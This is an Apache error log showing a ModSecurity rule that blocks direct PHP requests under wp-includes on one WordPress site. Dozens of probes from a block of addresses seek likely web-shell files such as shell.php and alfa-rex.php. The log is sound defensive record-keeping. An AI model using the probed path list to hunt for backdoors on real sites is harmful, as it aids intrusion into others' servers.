[Mon Nov 24 09:32:59.788672 2025] [:error] [pid 48601:tid 48675] [client 140.99.1.69:29443] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSO1y4MM4MaVTk74-AZQfwAAAhI"]
[Mon Nov 24 09:33:00.136143 2025] [:error] [pid 48599:tid 48604] [client 140.99.1.47:64997] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aSO1zJzvu6PDJiRKE3LPwgAAAYE"]
[Mon Nov 24 09:33:00.351178 2025] [:error] [pid 48599:tid 48626] [client 140.99.1.9:22017] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSO1zJzvu6PDJiRKE3LPxAAAAZc"]
[Mon Nov 24 09:33:00.543714 2025] [:error] [pid 49900:tid 49910] [client 140.99.1.32:47531] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aSO1zDCyPLrvg06aormbkAAAAAg"]
[Mon Nov 24 09:33:01.147049 2025] [:error] [pid 48688:tid 48696] [client 140.99.1.14:51975] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aSO1zRm2q1FkzLam7A1CvgAAAkQ"]
[Mon Nov 24 09:33:01.983366 2025] [:error] [pid 48601:tid 48657] [client 140.99.1.46:62467] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aSO1zYMM4MaVTk74-AZQggAAAgA"]
[Mon Nov 24 09:33:02.416506 2025] [:error] [pid 48600:tid 48648] [client 140.99.1.5:54423] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aSO1zvtOzSUAQvWVjBcxeAAAAdI"]
[Mon Nov 24 09:33:02.859637 2025] [:error] [pid 48600:tid 48650] [client 140.99.1.62:49141] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSO1zvtOzSUAQvWVjBcxewAAAdQ"]
[Mon Nov 24 09:33:03.849062 2025] [:error] [pid 48601:tid 48665] [client 140.99.1.63:45577] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSO1z4MM4MaVTk74-AZQiwAAAgg"]
[Mon Nov 24 09:33:04.116019 2025] [:error] [pid 48688:tid 48702] [client 140.99.1.26:28149] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aSO10Bm2q1FkzLam7A1CwgAAAko"]
[Mon Nov 24 09:33:04.573562 2025] [:error] [pid 48600:tid 48634] [client 140.99.1.71:53523] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aSO10PtOzSUAQvWVjBcxgQAAAcQ"]
[Mon Nov 24 09:33:05.242492 2025] [:error] [pid 48688:tid 48713] [client 140.99.1.27:56981] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aSO10Rm2q1FkzLam7A1CzQAAAlU"]
[Mon Nov 24 09:33:05.703271 2025] [:error] [pid 48688:tid 48701] [client 140.99.1.24:34321] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aSO10Rm2q1FkzLam7A1C0AAAAkk"]
[Mon Nov 24 09:33:06.119890 2025] [:error] [pid 48599:tid 48622] [client 140.99.1.2:48987] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSO10pzvu6PDJiRKE3LP1gAAAZM"]
[Mon Nov 24 09:33:06.511822 2025] [:error] [pid 48599:tid 48608] [client 140.99.1.71:23967] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aSO10pzvu6PDJiRKE3LP2QAAAYU"]
[Mon Nov 24 09:33:06.875379 2025] [:error] [pid 48601:tid 48662] [client 140.99.1.13:65211] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aSO10oMM4MaVTk74-AZQjwAAAgU"]
[Mon Nov 24 09:33:07.503126 2025] [:error] [pid 48600:tid 48648] [client 140.99.1.62:41325] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSO10_tOzSUAQvWVjBcxhwAAAdI"]
[Mon Nov 24 09:33:08.095371 2025] [:error] [pid 49900:tid 49913] [client 140.99.1.20:24369] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aSO11DCyPLrvg06aormbnwAAAAs"]
[Mon Nov 24 09:33:08.291043 2025] [proxy_fcgi:error] [pid 48600:tid 48642] [client 140.99.1.10:26777] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:33:08.388624 2025] [:error] [pid 48600:tid 48650] [client 140.99.1.10:26777] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aSO11PtOzSUAQvWVjBcxiQAAAdQ"]
[Mon Nov 24 09:33:08.631756 2025] [:error] [pid 48601:tid 48668] [client 140.99.1.15:30373] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aSO11IMM4MaVTk74-AZQkQAAAgs"]
[Mon Nov 24 09:33:09.034879 2025] [:error] [pid 48688:tid 48707] [client 140.99.1.8:57765] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aSO11Rm2q1FkzLam7A1C1QAAAk8"]
[Mon Nov 24 09:33:09.239136 2025] [:error] [pid 48599:tid 48604] [client 140.99.1.31:21499] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aSO11Zzvu6PDJiRKE3LP4wAAAYE"]
[Mon Nov 24 09:33:10.115172 2025] [:error] [pid 48688:tid 48710] [client 140.99.1.49:25485] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aSO11hm2q1FkzLam7A1C3wAAAlI"]
[Mon Nov 24 09:33:10.325488 2025] [:error] [pid 48599:tid 48622] [client 140.99.1.14:50279] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aSO11pzvu6PDJiRKE3LP5gAAAZM"]
[Mon Nov 24 09:33:10.643162 2025] [:error] [pid 48688:tid 48706] [client 140.99.1.24:44071] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aSO11hm2q1FkzLam7A1C4QAAAk4"]
[Mon Nov 24 09:33:10.840680 2025] [:error] [pid 49900:tid 49912] [client 140.99.1.63:20969] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aSO11jCyPLrvg06aormbpAAAAAo"]
[Mon Nov 24 09:33:11.076840 2025] [:error] [pid 48599:tid 48614] [client 140.99.1.43:41517] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aSO115zvu6PDJiRKE3LP6QAAAYs"]
[Mon Nov 24 09:33:11.339353 2025] [:error] [pid 48600:tid 48637] [client 140.99.1.18:43457] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aSO11_tOzSUAQvWVjBcxiwAAAcc"]
[Mon Nov 24 09:33:12.051183 2025] [:error] [pid 49900:tid 49917] [client 140.99.1.53:61515] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aSO12DCyPLrvg06aormbqwAAAA8"]
[Mon Nov 24 09:33:12.308953 2025] [:error] [pid 48688:tid 48707] [client 140.99.1.8:22435] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aSO12Bm2q1FkzLam7A1C4wAAAk8"]
[Mon Nov 24 09:33:12.776164 2025] [:error] [pid 48599:tid 48627] [client 140.99.1.47:25171] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aSO12Jzvu6PDJiRKE3LP7QAAAZg"]
[Mon Nov 24 09:33:12.989945 2025] [:error] [pid 48688:tid 48699] [client 140.99.1.38:36297] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aSO12Bm2q1FkzLam7A1C5AAAAkc"]
[Mon Nov 24 09:33:13.425409 2025] [:error] [pid 48600:tid 48647] [client 140.99.1.14:55619] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aSO12ftOzSUAQvWVjBcxkQAAAdE"]
[Mon Nov 24 09:33:13.638708 2025] [:error] [pid 48600:tid 48634] [client 140.99.1.11:46063] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aSO12ftOzSUAQvWVjBcxkgAAAcQ"]
[Mon Nov 24 09:33:14.691430 2025] [:error] [pid 48599:tid 48619] [client 140.99.1.48:24747] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aSO12pzvu6PDJiRKE3LP9gAAAZA"]
[Mon Nov 24 09:33:14.890565 2025] [:error] [pid 49900:tid 49924] [client 140.99.1.33:27771] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aSO12jCyPLrvg06aormbswAAABY"]
[Mon Nov 24 09:33:15.305298 2025] [:error] [pid 48600:tid 48635] [client 140.99.1.48:63903] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSO12_tOzSUAQvWVjBcxlQAAAcU"]
[Mon Nov 24 09:33:15.604147 2025] [:error] [pid 48688:tid 48709] [client 140.99.1.6:39241] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSO12xm2q1FkzLam7A1C5wAAAlE"]
[Mon Nov 24 09:33:15.940819 2025] [:error] [pid 49900:tid 49920] [client 140.99.1.43:60979] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aSO12zCyPLrvg06aormbuAAAABI"]
[Mon Nov 24 09:33:16.186713 2025] [:error] [pid 48600:tid 48648] [client 140.99.1.11:29931] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aSO13PtOzSUAQvWVjBcxlgAAAdI"]
[Mon Nov 24 09:33:16.417540 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.63:23851] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aSO13Bm2q1FkzLam7A1C6wAAAlc"]
[Mon Nov 24 09:33:16.946915 2025] [:error] [pid 48600:tid 48640] [client 140.99.1.2:20705] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aSO13PtOzSUAQvWVjBcxmgAAAco"]
[Mon Nov 24 09:33:17.275967 2025] [:error] [pid 49900:tid 49914] [client 140.99.1.67:42049] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSO13TCyPLrvg06aormbvAAAAAw"]
[Mon Nov 24 09:33:17.900798 2025] [:error] [pid 48600:tid 48630] [client 140.99.1.65:46673] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aSO13ftOzSUAQvWVjBcxowAAAcA"]
[Mon Nov 24 09:33:18.095014 2025] [:error] [pid 49900:tid 49911] [client 140.99.1.76:29841] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aSO13jCyPLrvg06aormbvwAAAAk"]
[Mon Nov 24 09:33:18.457655 2025] [:error] [pid 48601:tid 48673] [client 140.99.1.39:47099] [client 140.99.1.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aSO13oMM4MaVTk74-AZQoAAAAhA"]
[Mon Nov 24 09:33:21.184089 2025] [:error] [pid 48600:tid 48636] [client 140.99.1.67:57567] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aSO14ftOzSUAQvWVjBcxrgAAAcY"]
[Mon Nov 24 09:33:21.525095 2025] [:error] [pid 48599:tid 48624] [client 140.99.1.43:53299] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aSO14Zzvu6PDJiRKE3LQBwAAAZU"]
[Mon Nov 24 09:33:23.689637 2025] [:error] [pid 49900:tid 49917] [client 140.99.1.69:62703] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aSO14zCyPLrvg06aormbzQAAAA8"]
[Mon Nov 24 09:33:23.894186 2025] [:error] [pid 48688:tid 48698] [client 140.99.1.17:22449] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aSO14xm2q1FkzLam7A1C9gAAAkY"]
[Mon Nov 24 09:33:24.080127 2025] [:error] [pid 49900:tid 49902] [client 140.99.1.77:64149] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aSO15DCyPLrvg06aormbzwAAAAA"]
